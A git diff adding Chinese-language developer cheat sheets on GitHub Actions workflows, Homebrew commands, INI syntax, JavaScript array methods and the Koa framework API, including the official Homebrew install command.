+- name: '标记 docker 镜像并发布到 GitHub 注册表'
+  if: steps.create_tag.outputs.successful
+  run: |
+    echo "version: v${{ steps.changelog.outputs.version }}"
+    docker tag ghcr.io/jaywcjlove/reference:latest ghcr.io/jaywcjlove/reference:${{steps.changelog.outputs.version}}
+    docker push ghcr.io/jaywcjlove/reference:${{steps.changelog.outputs.version}}
+```
+
+### 提交 commit 到 master 分支
+<!--rehype:wrap-class=col-span-2-->
+
+```yml
+- name: 生成一个文件，并将它提交到 master 分支
+  run: |
+    # Strip git ref prefix from version
+    VERSION=$(echo "${{ github.ref }}" | sed -e 's,.*/\(.*\),\1,')
+    COMMIT=released-${VERSION}
+    # Strip "v" prefix from tag name
+    [[ "${{ github.ref }}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//')
+    echo "输出版本号：$VERSION"
+    # 将版本输出到当前 VERSION 文件中
+    echo "$VERSION" > VERSION
+    echo "1. 输出Commit：$commit"
+    echo "2. Released $VERSION"
+    git fetch
+    git config --local user.email "action@github.com"
+    git config --local user.name "GitHub Action"
+    git add .
+    git commit -am $COMMIT
+    git branch -av
+    git pull origin master
+
+- name: 将上面的提交 push 到 master 分支
+  uses: ad-m/github-push-action@master
+  with:
+    github_token: ${{ secrets.GITHUB_TOKEN }}
+```
+
+### 作业之间共享数据
+
+创建一个文件，然后将其作为构件上传
+
+```yml {11}
+jobs:
+  example-job:
+    name: Save output
+    steps:
+      - shell: bash
+        run: |
+          expr 1 + 1 > output.log
+      - name: Upload output file
+        uses: actions/upload-artifact@v3
+        with:
+          name: output-log-file
+          path: output.log
+```
+
+可以下载名为 `output-log-file` 的工件
+
+```yml {7}
+jobs:
+  example-job:
+    steps:
+      - name: Download a single artifact
+        uses: actions/download-artifact@v3
+        with:
+          name: output-log-file
+```
+
+### 指定运行命令的工作目录
+
+```yml {3}
+- name: Clean temp directory
+  run: rm -rf *
+  working-directory: ./temp
+```
+
+使用 `working-directory` 关键字，您可以指定运行命令的工作目录(`./temp`)
+
+#### defaults.run
+
+```yml {4,5,7}
+jobs:
+  job1:
+    runs-on: ubuntu-latest
+    defaults:
+      run:
+        shell: bash
+        working-directory: scripts
+```
+
+作业中的所有 `run` 步骤提供默认的 `shell` 和 `working-directory`
+
+### jobs.<job_id>.steps[*].shell
+
+使用 `bash` 运行脚本
+
+```yml {4}
+steps:
+  - name: Display the path
+    run: echo $PATH
+    shell: bash
+```
+
+运行 `python` 脚本
+
+```yml {6}
+steps:
+  - name: Display the path
+    run: |
+      import os
+      print(os.environ['PATH'])
+    shell: python
+```
+
+您可以使用 `shell` 关键字覆盖运行器操作系统中的默认 `shell` 设置
+
+另见
+---
+
+- [Github Actions 学习笔记](https://jaywcjlove.github.io/github-actions) _(jaywcjlove.github.io)_
+- [了解 GitHub Actions](https://docs.github.com/cn/actions/learn-github-actions) _(docs.github.com)_

docs/homebrew.md

@@ -0,0 +1,127 @@
+Homebrew 备忘清单
+===
+
+Homebrew 是 macOS(或Linux)缺少的包管理器，备忘清单包含 [brew](https://github.com/Homebrew/brew) 命令的使用与安装
+
+Homebrew
+---
+
+### 安装
+<!--rehype:wrap-class=row-span-3-->
+
+```bash
+/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+```
+<!--rehype:className=wrap-text -->
+
+加速安装和更新，将仓库源码通过 [gitee](https://gitee.com/) 同步到国内，这样速度杠杠的
+
+```bash
+# 把 Homebrew/brew 的 Git 镜像放在这里
+export HOMEBREW_BREW_GIT_REMOTE="..."
+# 将 Homebrew/homebrew-core 的 Git 镜像放在这里
+export HOMEBREW_CORE_GIT_REMOTE="..."
+/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
+```
+<!--rehype:className=wrap-text -->
+
+在安装期间跳过克隆 (beta)
+
+```bash
+export HOMEBREW_INSTALL_FROM_API=1
+/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
+```
+<!--rehype:className=wrap-text -->
+
+### 命令
+
+命令 | 说明
+:--- :--- 
+`brew install git`         | `安装`一个包
+`brew uninstall git`       | `删除`/`卸载`软件包
+`brew upgrade git`         | 升级包
+:--- :---
+`brew unlink git`          | `取消`链接
+`brew link git`            | 关联
+`brew switch git 2.5.0`    | 更改版本
+:--- :---
+`brew list --versions git` | 看看你有什么版本
+:--- :---
+`brew help` | 打印帮助信息
+`brew help <sub-command>` | 打印子命令的帮助信息
+
+### 更多包命令
+
+命令 | 说明
+:--- :--- 
+`brew info git`            | 列出版本、注意事项等
+`brew cleanup git`         | 删除旧版本
+`brew edit git`            | 编辑此软件包
+`brew cat git`             | 打印这个软件包
+`brew home git`            | 打开主页
+`brew search git`          | 搜索公式
+
+### Brew Cask 命令
+
+命令 | 说明
+:--- :--- 
+`brew install --cask firefox` | 安装火狐浏览器
+`brew list --cask`            | 列出已安装应用
+
+Cask 命令用于与图形应用程序交互
+
+### 全局命令
+<!--rehype:wrap-class=row-span-2-->
+
+命令 | 说明
+:--- :--- 
+`brew update`   | 更新 `brew` 和 `cask`
+`brew upgrade`  | 升级所有软件包
+`brew list`     | 已安装列表
+`brew outdated` | 升级需要什么？
+`brew doctor`   | 诊断冲泡问题
+`brew pin <formula>` | 防止指定软件包升级
+`brew unpin <formula>` | 允许升级指定的软件包
+
+### Brew 清理
+
+```bash
+$ brew cleanup # 删除旧版本的已安装软件包
+$ brew cleanup <formula> # 删除旧版本指定软件包
+# 显示所有将被删除的软件包(试运行)
+$ brew cleanup -n 
+```
+
+### brew 源码仓库
+
+```bash
+# 列出所有当前点击的源码仓库（点击）
+$ brew tap
+# 使用 https 从 Github 中点击软件包源码仓库以点击
+# https://github.com/user/homebrew-repo
+$ brew tap <user/repo>
+# 点击指定 URL 中的软件源码仓库
+$ brew tap <user/repo> <URL>
+# 从存储库中删除给定的源码仓库
+$ brew untap <user/repo>
+```
+
+### 搜索查看
+
+```bash
+# 列出所有已安装的软件包
+$ brew list
+# 显示所有本地可用的 brew 配方
+$ brew search
+# 对用于 brew 的软件包名称执行子字符串搜索
+$ brew search <text>
+# 显示有关软件包的信息
+$ brew info <formula>
+```
+
+另见
+---
+
+- [Homebrew 官网](https://brew.sh/index_zh-cn) _(brew.sh)_
+- [Homebrew brew 源码](https://github.com/Homebrew/brew) _(github.com)_
+- [Homebrew core 源码](https://github.com/Homebrew/homebrew-core) _(github.com)_

docs/ini.md

@@ -0,0 +1,185 @@
+INI 备忘清单
+====
+
+这是理解和编写 INI 格式配置文件的快速参考备忘单，此清单包含配置的内容，结构和语法等内容。
+
+入门
+------
+
+### 介绍
+
+INI 是一种固定标准格式的配置文件，INI配置方法来自 MS-DOS 操作系统
+
+```ini
+; 这里是注释
+[owner]
+name=John Doe
+organization=Acme Products
+
+[database]
+; 这里是注释
+server=192.0.2.42
+port=143
+file="acme payroll.dat"
+```
+
+现在已成为许多配置的非正式标准，其它操作系统可能使用 `.conf` 或 `.cfg` 作为后缀
+
+### 稳定的特性
+
+- 基本元素是键或属性
+- 每个键由`名称`和`值`构成，等号 (=) 分隔
+- `键名称`显示在等号的`左侧`
+- `等号`和`分号`是`保留`字符
+<!--rehype:className=style-round-->
+
+```ini
+name = value
+```
+
+与下面👇 JSON 大致相同
+
+```js
+{
+  "name": "value"
+}
+```
+
+### 注释
+
+注释 (`;`)
+
+```ini
+; 这里是注释文本，将被忽略
+```
+
+注释 (`#`)
+
+```ini
+# 这里是注释文本，⚠️ 部分编译器支持
+```
+
+一行之后的注释 (`;`,`#`) _(不标准)_
+
+```ini
+var = a       ; 这是一个内联注释
+foo = bar     # 这是另一个内联注释
+```
+
+在某些情况下注释必须单独出现在行上
+
+### 部分(Sections)
+
+- 名称单独出现在一行中
+- 名称在方括号 `[` 和 `]` 中
+- 没有明确的 `section 结束` 分隔符
+- 在下一个 `section` 声明处或文件末尾处结束
+- 部分和属性名称不区分大小写
+<!--rehype:className=style-round-->
+
+```ini
+[section]
+key1 = a
+key2 = b
+```
+
+与下面👇 `JSON` 大致相同
+
+```json
+{
+  "section": {
+    "key1": "a",
+    "key2": "b"
+  }
+}
+```
+
+### 嵌套(部分解析器支持)
+
+```ini
+[section]
+domain = jaywcjlove.github.io
+
+[section.subsection]
+foo = bar
+```
+
+与下面👇 `JSON` 大致相同
+
+```js
+{
+  "section": {
+    "domain": "jaywcjlove.github.io"
+    "subsection": {
+      "foo": "bar"
+    }
+  }
+}
+```
+
+嵌套到上一节(简写)
+
+```ini
+[section]
+domain = jaywcjlove.github.io
+[.subsection]
+foo = bar
+```
+
+### 转义字符
+
+序列 | 意思
+:- | :-
+`\\` | \ (单个反斜杠，转义转义字符)
+`\'` | 撇号
+`\"` | 双引号
+`\0` | 空字符
+`\a` | 铃声/警报/声音
+`\b` | 退格键，某些应用程序的[贝尔字符](https://en.wikipedia.org/wiki/Bell_character)
+`\t` | 制表符
+`\r` | 回车
+`\n` | 换行
+`\;` | 分号
+`\#` | 数字符号
+`\=` | 等号
+`\:` | 冒号
+`\x????` | 十六进制代码点的 Unicode 字符对应于 ????
+
+### 数组
+
+```ini
+[section]
+domain = jaywcjlove.github.io
+array[]=first value
+array[]=second value
+```
+
+与下面👇 `JSON` 大致相同
+
+```js
+{
+  "section": {
+    "domain": "jaywcjlove.github.io",
+    "array": [
+      "first value", "second value"
+    ]
+  }
+}
+```
+
+### 解释器
+
+- [@go-ini/ini](https://github.com/go-ini/ini) _(golang)_
+- [@npm/ini](https://www.npmjs.com/package/ini) _(nodejs)_
+- [@zonyitoo/rust-ini](https://github.com/zonyitoo/rust-inii) _(rust)_
+- [@rxi/ini](https://www.npmjs.com/package/ini) _(c)_
+- [@pulzed/mINI](https://github.com/pulzed/mINI) _(c++)_
+- [@rickyah/ini-parser](https://github.com/rickyah/ini-parser) _(c#)_
+- [@Enichan/Ini](https://github.com/Enichan/Ini) _(c#)_
+
+另见
+---
+
+- [INI 文件配置](https://en.wikipedia.org/wiki/INI_file) _(wikipedia.org)_
+- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
+- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_

docs/javascript.md

@@ -386,18 +386,18 @@ sum(3, 6); // 9
 ### 匿名函数
 
 ```javascript
-// Named function
+// 命名函数
 function rocketToMars() {
   return 'BOOM!';
 }
-// Anonymous function
+// 匿名函数
 const rocketToMars = function() {
   return 'BOOM!';
 }
 ```
 
 ### 箭头函数 (ES6)
-<!--rehype:wrap-class=row-span-2-->
+<!--rehype:wrap-class=row-span-3-->
 
 #### 有两个参数
 
@@ -590,6 +590,48 @@ for (let j = 0; j < 3; j++) {
 JavaScript Arrays
 ----
 
+### 方法
+<!--rehype:wrap-class=row-span-6-->
+
+:- | :-
+:- | :-
+`Array.from()` | 类似数组对象创建一个新的 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
+`Array.isArray()` | 值是否是一个 Array [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray)
+`Array.of()` | 创建一个新数组示例 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/of)
+`.at()` | 返回值索引对应的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/at)
+`.concat()` | 合并两个或多个数组 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
+`.copyWithin()` | 浅复制替换某个位置 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/copyWithin)
+`.entries()` | 新的 Array Iterator 对象 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/entries)
+`.every()` | 是否能通过回调函数的测试 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+`.fill()` | 固定值填充一个数组中 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/fill)
+`.filter()` | 返回过滤后的数组 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+`.find()` | 第一个元素的值 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/find)
+`.findIndex()` | 第一个元素的索引 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+`.findLast()` | 最后一个元素的值 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/findLast)
+`.findLastIndex()` | 最后一个元素的索引 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/findLastIndex)
+`.flat()` | 扁平化嵌套数组 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/flat)
+`.flatMap()` | 与 flat 相同 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/flatMap)
+`.forEach()` | 升序循环执行 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)
+`.includes()` | 是否包含一个指定的值 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/includes)
+`.indexOf()` | 找到给定元素的第一个索引 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+`.join()` | 数组链接成一个字符串 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+`.keys()` | 每个索引键 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/keys)
+`.lastIndexOf()` | 给定元素的最后一个索引 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf)
+`.map()` | 循环返回一个新数组 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+`.pop()` | `删除`最后一个元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop)
+`.push()` | 元素`添加`到数组的末尾 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+`.reduce()` | 循环函数传递当前和上一个值 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
+`.reduceRight()` | 类似 `reduce` 从右往左循环 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight)
+`.reverse()` | 数组元素的位置颠倒 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
+`.shift()` | `删除`第一个元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift)
+`.slice()` | `提取`元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+`.some()` | 至少有一个通过测试函数 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
+`.sort()` | 元素进行排序 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
+`.splice()` | `删除`或`替换`或`添加`元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+`.toLocaleString()` | 字符串表示数组中的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toLocaleString)
+`.toString()` | 返回字符串 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toString)
+`.unshift()` | 元素`添加`到数组的`开头` [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift)
+`.values()` | 返回新的 ArrayIterator 对象 [#](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/values)
 
 ### 数组
 
@@ -652,24 +694,24 @@ console.log(fruits); // ["apple", "dew"]
 ### 方法 .shift()
 
 ```javascript
-let cats = ['Bob', 'Willy', 'Mini'];
-cats.shift(); // ['Willy', 'Mini']
+const array1 = [1, 2, 3];
+const firstElement = array1.shift();
+console.log(array1); // 输出: Array [2, 3]
+console.log(firstElement); // 输出: 1
 ```
 
 **从头删除**一个项目并返回已删除的项目。
 
-### 方法 .unshift()
+### 方法 .some()
 
-```javascript
-let cats = ['Bob'];
-// => ['Willy', 'Bob']
-cats.unshift('Willy');
-// => ['Puff', 'George', 'Willy', 'Bob']
-cats.unshift('Puff', 'George');
+```js
+const array = [1, 2, 3, 4, 5];
+// 检查元素是否为偶数
+const even = (element) => element % 2 === 0;
+console.log(array.some(even));
+// 预期输出: true
 ```
 
-将项目**添加到开头**并返回新的数组长度。
-
 ### 方法 .concat()
 
 ```javascript
@@ -685,6 +727,45 @@ numbers.concat(newFirstNumber)
 
 如果你想避免改变你的原始数组，你可以使用 concat。
 
+
+### 方法 .splice()
+
+```javascript
+const months = ['Jan', 'March'];
+months.splice(1, 0, 'Feb');
+// 在索引 1 处插入
+console.log(months);
+// 预期输出: Array ["Jan", "Feb", "March"]
+
+months.splice(2, 1, 'May');
+// 替换索引 2 处的 1 个元素
+console.log(months);
+// 预期输出: Array ["Jan", "Feb", "May"]
+```
+
+### 方法 .unshift()
+
+```javascript
+let cats = ['Bob'];
+// => ['Willy', 'Bob']
+cats.unshift('Willy');
+// => ['Puff', 'George', 'Willy', 'Bob']
+cats.unshift('Puff', 'George');
+```
+
+将项目**添加到开头**并返回新的数组长度。
+
+### 方法 .filter()
+
+```javascript
+const words = ['js', 'java', 'golang'];
+const result = words.filter(word => {
+  return  word.length > 3
+});
+console.log(result);
+// 预期输出: Array ["java", "golang"]
+```
+
 JavaScript 循环
 ----
 
@@ -998,19 +1079,16 @@ console.log(age);  // '22'
 ```javascript
 const person = {
   firstName: "Matilda",
-  age: 27,
   hobby: "knitting",
   goal: "learning JavaScript"
 };
-delete person.hobby; // or delete person[hobby];
+delete person.hobby; // 或 delete person['hobby'];
 console.log(person);
 /*
 {
   firstName: "Matilda"
-  age: 27
   goal: "learning JavaScript"
-}
-*/
+} */
 ```
 
 ### 对象作为参数

docs/koajs.md

@@ -0,0 +1,424 @@
+Koajs 备忘清单
+===
+
+基于 Node.js 平台的下一代 web 开发框架，包含 [Koa](https://koajs.com/) 的 API 参考列表和一些示例。
+
+
+入门
+---
+
+### Hello World
+<!--rehype:wrap-class=row-span-2-->
+
+[Koa](https://koajs.com/) 需要 [node v7.6.0](https://nodejs.org) 或更高版本来支持ES2015、异步方法，你可以安装自己支持的 `node` 版本
+
+- 安装依赖
+  ```bash
+  $ mkdir myapp # 创建目录
+  $ cd myapp    # 进入目录
+  $ nvm install 7
+  $ npm init -y # 初始化一个配置
+  $ npm install koa # 安装依赖
+  ```
+- 入口文件 `index.js` 添加代码：
+  ```js
+  const Koa = require('koa');
+  const app = new Koa();
+
+  app.use(async ctx => {
+    ctx.body = 'Hello World';
+  });
+
+  app.listen(3000);
+  ```
+- 使用以下命令运行应用程序
+  ```bash
+  $ node index.js
+  ```
+<!--rehype:className=style-timeline-->
+
+### 级联
+<!--rehype:wrap-class=row-span-2-->
+
+```js
+const Koa = require('koa');
+const app = new Koa();
+// X-Response-Time x 响应时间
+app.use(async (ctx, next) => {
+  const start = Date.now();
+  await next();
+  const ms = Date.now() - start;
+  ctx.set('X-Response-Time', `${ms}ms`);
+});
+// 记录器 logger
+app.use(async (ctx, next) => {
+  const start = Date.now();
+  await next();
+  const ms = Date.now() - start;
+  console.log(
+    `${ctx.method} ${ctx.url} - ${ms}`
+  );
+});
+// 响应 response
+app.use(async ctx => {
+  ctx.body = 'Hello World';
+});
+app.listen(3000);
+```
+
+### 配置
+
+:- | :-
+:- | :-
+`app.env` | 默认为 `NODE_ENV` 或 `development`
+`app.keys` | 签名 `cookie` 密钥数组
+`app.proxy` | 何时信任真正的代理头字段
+`app.subdomainOffset` | 要忽略的 `.subdomains` 的偏移量，默认为 `2`
+`app.proxyIpHeader` | 代理 `ip` 头，默认为 `X-Forwarded-For`
+`app.maxIpsCount` | 从代理 `ip` 头读取的最大 `ips` 数，默认为 `0`（表示无穷大）
+<!--rehype:className=style-list style-list-arrow-->
+
+### app.callback()
+<!--rehype:wrap-class=row-span-2-->
+
+:- | :-
+:- | :-
+`app.listen(...)` [#](https://koajs.com/#app-listen-) | 为一个绑定 `3000` 端口的简单 `Koa` 应用
+`app.callback()` [#](https://koajs.com/#app-callback-) | 返回一个适合 `http.createServer()` 方法的回调函数用来处理请求
+`app.use(function)` [#](https://koajs.com/#app-use-function-) | 添加指定的中间件，详情请看 [Middleware](https://github.com/koajs/koa/wiki#middleware)
+`app.keys` [#](https://koajs.com/#app-keys-) | 设置签名 `cookie` 密钥
+`app.context` [#](https://koajs.com/#app-context) | 从中创建 `ctx` 的原型
+<!--rehype:className=style-list style-list-arrow-->
+
+### 错误处理
+
+```js
+app.on('error', (err, ctx) => {
+  log.error('server error', err, ctx)
+});
+```
+
+默认情况下 `Koa` 会将所有错误信息输出到 `stderr`， 除非 `app.silent` 是 `true`。当 `err.status` 是 `404` 或者 `err.expose` 时，默认错误处理程序也不会输出错误
+
+### Context 示例
+
+```js
+app.use(async ctx => {
+  ctx; // 这是上下文 Context
+  ctx.request;  // 这是 koa Request
+  ctx.response; // 这是 koa Response
+});
+```
+
+### app.listen(...)
+<!--rehype:wrap-class=col-span-2 row-span-2-->
+
+```js
+const Koa = require('koa');
+const app = new Koa();
+app.listen(3000);
+```
+
+`app.listen(...)` 实际上是以下代码的语法糖:
+
+```js
+const http = require('http');
+const Koa = require('koa');
+const app = new Koa();
+http.createServer(app.callback()).listen(3000);
+```
+
+这意味着您可以同时支持 `HTTPS` 和 `HTTPS`，或者在 `多个端口` 监听同一个应用
+
+```js
+const http = require('http');
+const https = require('https');
+const Koa = require('koa');
+const app = new Koa();
+http.createServer(app.callback()).listen(3000);
+https.createServer(app.callback()).listen(3001);
+```
+
+### ctx.throw 示例
+
+```js
+ctx.throw(400);
+ctx.throw(400, 'name required');
+ctx.throw(400, 'name required', { user: user });
+```
+
+`this.throw('name required', 400)` 等价于
+
+```js
+const err = new Error('name required');
+err.status = 400;
+err.expose = true;
+throw err;
+```
+
+### ctx.assert 示例
+
+```js
+ctx.assert(
+  ctx.state.user,
+  401,
+  'User not found. Please login!'
+);
+```
+
+### Context(上下文) API
+<!--rehype:wrap-class=col-span-2-->
+
+:- | :-
+:- | :-
+`ctx.req` | Node 的 request 对象
+`ctx.res` | Node 的 response 对象
+`ctx.request` | Koa 的 Request 对象
+`ctx.response` | Koa 的 Response 对象
+`ctx.state` | 推荐的命名空间，用于通过中间件传递信息到前端视图
+`ctx.app` | 应用实例引用
+`ctx.app.emit` | 发出由第一个参数定义的类型的事件
+`ctx.cookies.get(name, [options])` | 获得 `cookie` 中名为 `name` 的值
+`ctx.cookies.set(name, value, [options])` | 设置 `cookie` 中名为 `name` 的值
+`ctx.throw([status], [msg], [properties])` | 抛出包含 `.status` 属性的错误，默认为 `500`
+`ctx.assert(value, [status], [msg], [properties])` | 当 `!value` 时， `Helper` 方法抛出一个类似 `.throw()` 的错误
+`ctx.respond` | 避免使用 `Koa` 的内置响应处理功能，您可以直接赋值 `this.repond = false`
+<!--rehype:className=style-list style-list-arrow-->
+
+### ctx.cookies.set 参数
+
+:- | :-
+:- | :-
+`maxAge` | 表示从Date开始的毫秒数 `now()` 到期。
+`expires` | 一个 `Date` 对象，指示 `cookie` 的到期日期（默认情况下在会话结束时到期）
+`path` | 表示 `cookie` 路径的字符串（默认为`/`）
+`domain` | 表示 `cookie` 的域的字符串（无默认值）
+`secure` | 一个布尔值，指示 `cookie` 是否只通过HTTPS发送（HTTP默认为false，HTTPS默认为true）。阅读有关此选项的更多信息
+`httpOnly` | 一个布尔值，指示cookie是否只通过HTTP（S）发送，而不可用于客户端 JavaScript（默认为true）
+`sameSite` | 一个布尔值或字符串，指示cookie是否为“同一站点”cookie（默认为false）。这可以设置为“strict”、“lax”、“none”或true（映射为“strect”）
+`signed` | 一个布尔值，指示是否对cookie进行签名（默认为false）。如果这是真的，还将发送另一个附加了.sig后缀的同名cookie，其中一个27字节的url安全base64 SHA1值表示cookie name=cookie值相对于第一个Keygrip键的哈希值。此签名密钥用于在下次收到cookie时检测篡改
+`overwrite` | 一个布尔值，指示是否覆盖以前设置的同名 `cookie`（默认为false）。如果为true，则在设置此Cookie时，将从set-Cookie标头中筛选出在同一请求期间设置的具有相同名称的所有Cookie（无论路径或域如何）
+<!--rehype:className=style-list style-list-arrow-->
+
+### 请求(Request)
+<!--rehype:wrap-class=row-span-5-->
+
+:- | :-
+:- | :-
+`request.header` | 请求头对象
+`request.header=` | 设置请求头对象
+`request.headers` | 请求头对象。等价于 request.header.
+`request.headers=` | 设置请求头对象。 等价于request.header=.
+`request.method` | 请求方法
+`request.method=` | 设置请求方法, 在实现中间件时非常有用，比如 methodOverride()
+`request.length` | 以数字的形式返回 request 的内容长度(Content-Length)，或者返回 undefined。
+`request.url` | 获得请求url地址.
+`request.url=` | 设置请求地址，用于重写url地址时
+`request.originalUrl` | 获取请求原始地址
+`request.origin` | 获取URL原始地址, 包含 protocol 和 host
+`request.href` | 获取完整的请求URL, 包含 protocol, host 和 url
+`request.path` | 获取请求路径名
+`request.path=` | 设置请求路径名并保留当前查询字符串
+`request.querystring` | 获取查询参数字符串(url中?后面的部分)，不包含?
+`request.querystring=` | 设置原始查询字符串
+`request.search` | 获取查询参数字符串，包含?
+`request.search=` | 设置原始查询字符串
+`request.host` | 获取 host (hostname:port)。 当 app.proxy 设置为 true 时，支持 X-Forwarded-Host
+`request.hostname` | 获取 hostname。当 app.proxy 设置为 true 时，支持 X-Forwarded-Host。
+`request.URL` | 获取 WHATWG 解析的对象.
+`request.type` | 获取请求 Content-Type，不包含像 "charset" 这样的参数。
+`request.charset` | 获取请求 charset，没有则返回 `undefined`
+`request.query` | 将查询参数字符串进行解析并以对象的形式返回，如果没有查询参数字字符串则返回一个空对象
+`request.query=` | 根据给定的对象设置查询参数字符串
+`request.fresh` | 检查请求缓存是否 "fresh"(内容没有发生变化)
+`request.stale` | 与 req.fresh 相反
+`request.protocol` | 返回请求协议，"https" 或者 "http"
+`request.secure` | 简化版 this.protocol == "https"，用来检查请求是否通过 TLS 发送
+`request.ip` | 请求远程地址，当 app.proxy 设置为 true 时，支持 X-Forwarded-Host
+`request.ips` | 当 X-Forwarded-For 存在并且 app.proxy 有效，将会返回一个有序（从 upstream 到 downstream）ip 数组
+`request.subdomains` | 以数组形式返回子域名
+`request.is(types...)` | 检查请求所包含的 "Content-Type" 是否为给定的 type 值
+`request.accepts(types)` | 检查给定的类型 types(s) 是否可被接受，当为 true 时返回最佳匹配，否则返回 false
+`request.acceptsEncodings(encodings)` | 检查 `encodings` 是否可以被接受，当为 `true` 时返回最佳匹配，否则返回 `false`
+`request.acceptsCharsets(charsets)` | 检查 `charsets` 是否可以被接受，如果为 `true` 则返回最佳匹配，否则返回 `false`
+`request.acceptsLanguages(langs)` | 检查 `langs` 是否可以被接受，如果为 `true` 则返回最佳匹配，否则返回 `false`
+`request.idempotent` | 检查请求是否为幂等(idempotent)
+`request.socket` | 返回请求的socket
+`request.get(field)` | 返回请求头
+<!--rehype:className=style-list style-list-arrow-->
+
+### 响应(Response)
+<!--rehype:wrap-class=row-span-2-->
+
+:- | :-
+:- | :-
+`response.header` | Response header 对象
+`response.headers` | Response header 对象。等价于 response.header.
+`response.socket` | Request socket.
+`response.status` | 获取响应状态。 默认情况下，response.status设置为404，而不像node's res.statusCode默认为200。
+`response.status=` | 通过数字设置响应状态
+`response.message` | 获取响应状态消息。默认情况下, response.message关联response.status。
+`response.message=` | 将响应状态消息设置为给定值。
+`response.length=` | 将响应Content-Length设置为给定值。
+`response.length` | 如果 Content-Length 作为数值存在，或者可以通过 ctx.body 来进行计算，则返回相应数值，否则返回 undefined。
+`response.body` | 获取响应体。
+`response.body=` | 设置响应体为如 `string`,`Buffer`,`Stream`,`Object\|Array`,`null`
+`response.get(field)` | 获取 response header 中字段值，field 不区分大小写
+`response.set(field, value)` | 设置 response header 字段 field 的值为 value
+`response.append(field, value)`| 添加额外的字段field 的值为 val
+`response.set(fields)` | 使用对象同时设置 response header 中多个字段的值
+`response.remove(field)` | 移除 response header 中字段 filed
+`response.type` | 获取 response Content-Type，不包含像"charset"这样的参数
+`response.type=` | 通过 mime 类型的字符串或者文件扩展名设置 response Content-Type
+`response.is(types...)` | 跟 `ctx.request.is()` 非常类似。用来检查响应类型是否是所提供的类型之一
+`response.redirect(url, [alt])` | 执行 [302] 重定向到对应 url
+`response.attachment([filename])` | 设置 "attachment" 的 Content-Disposition，用于给客户端发送信号来提示下载
+`response.headerSent` | 检查 response header 是否已经发送，用于在发生错误时检查客户端是否被通知。
+`response.lastModified` | 如果存在 Last-Modified，则以 Date 的形式返回。
+`response.lastModified=` | 以 UTC 格式设置 Last-Modified。您可以使用 Date 或 date 字符串来进行设置。
+`response.etag=` | 设置 包含 "s 的 ETag
+`response.vary(field)` | 不同于field.
+`response.flushHeaders()` | 刷新任何设置的响应头，并开始响应体
+<!--rehype:className=style-list style-list-arrow-->
+
+### 请求(Request)别名
+
+以下访问器和别名与 [Request](#请求request) 等价：
+
+- `ctx.header`
+- `ctx.headers`
+- `ctx.method`
+- `ctx.method=`
+- `ctx.url`
+- `ctx.url=`
+- `ctx.originalUrl`
